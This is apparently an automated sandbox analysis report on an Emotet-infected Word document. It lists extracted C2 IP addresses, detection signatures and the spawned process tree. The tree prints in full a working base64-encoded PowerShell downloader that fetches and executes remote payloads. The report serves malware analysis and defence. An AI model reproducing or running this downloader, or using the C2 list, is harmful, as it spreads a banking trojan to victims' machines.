Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    69s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    16/10/2020, 22:03

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_60994e2ec07e6b4e9734b07f12c3c425af483d86d078bb85f9a78865a45d6eec_2020-10-16__215937013609._doc.doc
  • Size 163KB
  • Sample201016-vfs62kh92e
  • SHA256 60994e2ec07e6b4e9734b07f12c3c425af483d86d078bb85f9a78865a45d6eec
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Family

  • emotet

Botnet

  • Epoch2

C2

  • 208.180.207.205:80

  • 167.114.153.111:8080

  • 169.50.76.149:8080

  • 87.106.136.232:8080

  • 134.209.36.254:8080

  • 110.145.77.103:80

  • 61.19.246.238:443

  • 218.147.193.146:80

  • 194.4.58.192:7080

  • 123.176.25.234:80

  • 139.99.158.11:443

  • 174.106.122.139:80

  • 137.59.187.107:8080

  • 37.187.72.193:8080

  • 168.235.67.138:7080

  • 190.108.228.27:443

  • 139.59.60.244:8080

  • 184.180.181.202:80

  • 71.72.196.159:80

  • 47.144.21.12:443

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_60994e2ec07e6b4e9734b07f12c3c425af483d86d078bb85f9a78865a45d6eec_2020-10-16__215937013609._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1424
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD JABQAHEAbwA4AGsANQA1AD0AKAAnAFkAMwAnACsAKAAnADUAMQAnACsAJwBsADgAJwApACsAJwBsACcAKQA7ACQAWQA5AHgANgBnAGMAdAA9ACQAQQBsADkAOAAyAGMAYQAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQAgACsAIAAyADAAIAArACAAMQAwACAAKwAgADEAMAApACAAKwAgACQATABiADMAdwBqADQAZwA7ACQAQwB3AGoAMgB6AHcAcAA9ACgAJwBEAHoAJwArACgAJwBnACcAKwAnAF8AeAA1ADMAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AaQBvAC4AZABpAHIAZQBjAHQAbwByAHkAXQA6ADoAIgBjAGAAUgBgAEUAYABBAHQARQBkAEkAcgBlAEMAVABPAHIAWQAiACgAJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQAgACsAIAAoACgAJwB7ADAAfQBQACcAKwAoACcAMABnACcAKwAnAGUAJwApACsAJwAzAHEAdAB7ADAAfQBBACcAKwAoACcAbgA3AGwAJwArACcAdABqACcAKQArACcANQB7ADAAfQAnACkAIAAtAGYAIABbAGMAaABhAHIAXQA5ADIAKQApADsAJABCAG8AawBpAGwAOQBqAD0AKAAnAEwAJwArACgAJwByAHIAJwArACcAaQBjAGkAaQAnACkAKQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwB1AHIAaQB0AFkAUABgAFIATwB0AG8AYABjAG8ATAAiACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgAiAHQAYABsAFMAMQAyACIAOwAkAFAAZQB3AHoAeQB2ADUAPQAoACcAWAAnACsAKAAnAGcAMwBjACcAKwAnADgAJwApACsAJwBhAGsAJwApADsAJABKADAAZQA0ADAAZQBkACAAPQAgACgAKAAnAEgAJwArACcAeQB1ACcAKQArACgAJwA3ACcAKwAnAHMAOQBuACcAKQArACcAZgAnACkAOwAkAFQAbABpAGYAaAB6ADgAPQAoACcAQQBvACcAKwAoACcAcwAnACsAJwBpAGMAcQAnACkAKwAnAHIAJwApADsAJABYAG0AZQBnAGgAdwBwAD0AKAAoACcAVwAnACsAJwA5AG8AegBuACcAKQArACcAeQB5ACcAKQA7ACQATwB1AGEAcwA2ADkAaAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAEMAJwArACcAUQBiACcAKQArACgAJwBQADAAZwBlADMAJwArACcAcQAnACsAJwB0AEMAJwApACsAKAAnAFEAJwArACcAYgBBAG4ANwBsACcAKQArACgAJwB0ACcAKwAnAGoANQAnACkAKwAnAEMAJwArACcAUQAnACsAJwBiACcAKQAuACIAUgBlAGAAUABsAGEAQwBlACIAKAAoAFsAQwBoAEEAUgBdADYANwArAFsAQwBoAEEAUgBdADgAMQArAFsAQwBoAEEAUgBdADkAOAApACwAJwBcACcAKQApACsAJABKADAAZQA0ADAAZQBkACsAKAAoACcALgBlACcAKwAnAHgAJwApACsAJwBlACcAKQA7ACQATABtADgAawB2AGoAegA9ACgAJwBXAHcAJwArACgAJwA3AHgAJwArACcANABvAGkAJwApACkAOwAkAEEANAA2AHEANgB0ADMAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AVwBlAEIAYwBMAGkAZQBOAHQAOwAkAFkANABoADIANwBvAHgAPQAoACgAJwBoAHQAdAAnACsAJwBwACcAKQArACcAcwA6ACcAKwAnAC8ALwAnACsAJwBwACcAKwAoACcAbwAnACsAJwBwAHAAJwApACsAKAAnAHkAbABvAG4ALgAnACsAJwBjAG8AJwApACsAJwBtAC8AJwArACcAdwBwACcAKwAnAC0AJwArACgAJwBhAGQAJwArACcAbQBpACcAKQArACgAJwBuACcAKwAnAC8ARQAyACcAKQArACgAJwAyAHoAaABvAC8AJwArACcAKgAnACkAKwAoACcAaAB0ACcAKwAnAHQAJwApACsAKAAnAHAAcwAnACsAJwA6AC8AJwApACsAJwAvACcAKwAnAHAAJwArACcAZQByACcAKwAoACcAcwAnACsAJwBvAG4AYQBsACcAKQArACgAJwB0AHIAJwArACcAYQBpAG4AZQByACcAKQArACgAJwBzAGkAJwArACcAbgAnACkAKwAnAGQAaQAnACsAKAAnAGEAJwArACcALgBjAG8AJwArACcAbQAvACcAKQArACcAZgAnACsAJwBvACcAKwAoACcAbgB0ACcAKwAnAHMALwAnACkAKwAoACcAUQA1ADUAWAAnACsAJwAvACcAKwAnACoAaAB0AHQAJwArACcAcABzADoALwAnACkAKwAnAC8AJwArACgAJwBlAGwAZAAnACsAJwBhACcAKwAnAGgAdwAnACkAKwAnAGEALgAnACsAJwBjAG8AJwArACgAJwBtAC8AOQB0ACcAKwAnAGgALQBnAHIAJwApACsAKAAnAGEAZABlACcAKwAnAC8AJwApACsAJwBGADIAJwArACcASwAnACsAKAAnAHcAJwArACcALwAqACcAKQArACgAJwBoAHQAdAAnACsAJwBwAHMAOgAvAC8AJwArACcAbQBlAGUAJwApACsAJwBhAGsAJwArACgAJwAuAGMAbwBtAC8AJwArACcAdwAnACkAKwAoACcAcAAtACcAKwAnAGEAJwApACsAKAAnAGQAbQAnACsAJwBpAG4ALwAnACsAJwBsAGMASgAnACsAJwAvACoAaAB0AHQAcABzADoAJwApACsAKAAnAC8ALwAnACsAJwBwAHIAJwApACsAKAAnAGEAJwArACcAYgBoAGEAJwApACsAKAAnAHQAJwArACcAYwB5AGMAbABlACcAKwAnAHMAJwApACsAJwAuACcAKwAoACcAYwAnACsAJwBvAG0AJwApACsAJwAvACcAKwAoACcAcAByAGEAJwArACcAYgAnACkAKwAnAGgAYQAnACsAJwB0AGMAJwArACcAeQBjACcAKwAoACcAbABlAHMALwAnACsAJwBVADEAaQAnACkAKwAoACcANwAvACcAKwAnACoAaAAnACsAJwB0AHQAJwApACsAJwBwADoAJwArACgAJwAvACcAKwAnAC8AaAAnACkAKwAnAG8AdQAnACsAJwBzAGUAJwArACgAJwB0ACcAKwAnAHUAdAAnACsAJwBvAHIALgAnACkAKwAnAHcAJwArACgAJwBhACcAKwAnAHMAcwBlAGUAJwApACsAKAAnAGwAYQAnACsAJwAuAGMAbwAnACkAKwAnAG0AJwArACgAJwAvACcAKwAnAHgAMgBlAGsAZgAnACsAJwAvACcAKwAnAHQATQAnACkAKwAnAFIAJwArACgAJwAvACoAJwArACcAaAAnACsAJwB0AHQAcAA6AC8ALwAnACkAKwAoACcAaQBlAGkANwAuACcAKwAnAGMAJwArACcAbwAnACsAJwBtAC8AdwAnACkAKwAnAHAAJwArACcALQBhACcAKwAoACcAZABtACcAKwAnAGkAbgAnACkAKwAnAC8AJwArACcANQAnACsAJwBTACcAKwAnAGgAJwArACgAJwBLAEwAJwArACcAbgAvACcAKQArACgAJwAqAGgAdAB0AHAAcwA6ACcAKwAnAC8AJwArACcALwB3ACcAKQArACgAJwB3ACcAKwAnAHcALgAnACkAKwAoACcAcgBpACcAKwAnAGcAJwArACcAaAB0ADIAbAAnACkAKwAnAGkAJwArACgAJwBmACcAKwAnAGUAcgB4AC4AYwAnACsAJwBvACcAKQArACcAbQAvACcAKwAoACcAYQAnACsAJwBkAG0AJwApACsAKAAnAGkAJwArACcAbgAvAEEAJwApACsAKAAnAGMAZwBFACcAKwAnAEgAJwApACsAJwAvACcAKQAuACIAcwBgAHAAbABpAFQAIgAoACQAQgBsAHcAdwBpAF8AZwAgACsAIAAkAFkAOQB4ADYAZwBjAHQAIAArACAAJABYAGIAagBrAGwAaABkACkAOwAkAFMAMgAzADEAdQBoADAAPQAoACcAUgAnACsAKAAnAHgAawB2ADIAJwArACcAMwBvACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABQAGIAcgAzAHgAMAAzACAAaQBuACAAJABZADQAaAAyADcAbwB4ACkAewB0AHIAeQB7ACQAQQA0ADYAcQA2AHQAMwAuACIAZABgAG8AdwBuAEwATwBhAGAARABGAGAAaQBsAEUAIgAoACQAUABiAHIAMwB4ADAAMwAsACAAJABPAHUAYQBzADYAOQBoACkAOwAkAFMAZgB3AGMAYgBjAHMAPQAoACcARQAnACsAKAAnADMAJwArACcAbwB1ACcAKQArACgAJwBfACcAKwAnAHAAaAAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABPAHUAYQBzADYAOQBoACkALgAiAEwAYABFAE4AZwBgAFQAaAAiACAALQBnAGUAIAAzADQANAA1ADQAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAKAAnAHcAJwArACcAaQBuACcAKQArACgAJwAzACcAKwAnADIAXwAnACkAKwAoACcAUAAnACsAJwByAG8AYwBlAHMAcwAnACkAKQApAC4AIgBDAFIAYABlAGAAQQBUAEUAIgAoACQATwB1AGEAcwA2ADkAaAApADsAJABOADkAYgB4AHMAegA2AD0AKAAoACcAWgA5AHcAJwArACcAegB2ACcAKQArACcAbwBlACcAKQA7AGIAcgBlAGEAawA7ACQAVQB2AGYAdgBiAGwAeQA9ACgAKAAnAEgAdQAnACsAJwAzACcAKQArACcANQBwACcAKwAnAHgAagAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAYwBpADYAbQA2AGcAPQAoACgAJwBUADEAYwAnACsAJwBlADgAJwApACsAJwAzAHYAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1920
  • C:\Users\Admin\P0ge3qt\An7ltj5\Hyu7s9nf.exe
    C:\Users\Admin\P0ge3qt\An7ltj5\Hyu7s9nf.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1276
    • C:\Windows\SysWOW64\msvcrt20\KBDINGUJ.exe
      "C:\Windows\SysWOW64\msvcrt20\KBDINGUJ.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1672

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/324-22-0x000007FEF80C0000-0x000007FEF833A000-memory.dmp
        Download

        memory/1276-16-0x00000000003E0000-0x00000000003FC000-memory.dmp
        Download

        memory/1276-17-0x0000000000550000-0x000000000056B000-memory.dmp
        Download

        memory/1424-5-0x0000000006DF0000-0x0000000006FF0000-memory.dmp
        Download

        memory/1424-6-0x0000000006DF0000-0x0000000006FF0000-memory.dmp
        Download

        memory/1424-2-0x0000000008B30000-0x0000000008B34000-memory.dmp
        Download

        memory/1672-21-0x00000000003E0000-0x00000000003FB000-memory.dmp
        Download

        memory/1672-20-0x00000000002B0000-0x00000000002CC000-memory.dmp
        Download

        memory/1920-8-0x0000000002390000-0x0000000002391000-memory.dmp
        Download

        memory/1920-13-0x000000001C770000-0x000000001C771000-memory.dmp
        Download

        memory/1920-12-0x000000001C240000-0x000000001C241000-memory.dmp
        Download

        memory/1920-11-0x0000000001E40000-0x0000000001E41000-memory.dmp
        Download

        memory/1920-10-0x00000000024E0000-0x00000000024E1000-memory.dmp
        Download

        memory/1920-9-0x000000001AB20000-0x000000001AB21000-memory.dmp
        Download

        memory/1920-7-0x000007FEF1CB0000-0x000007FEF269C000-memory.dmp
        Download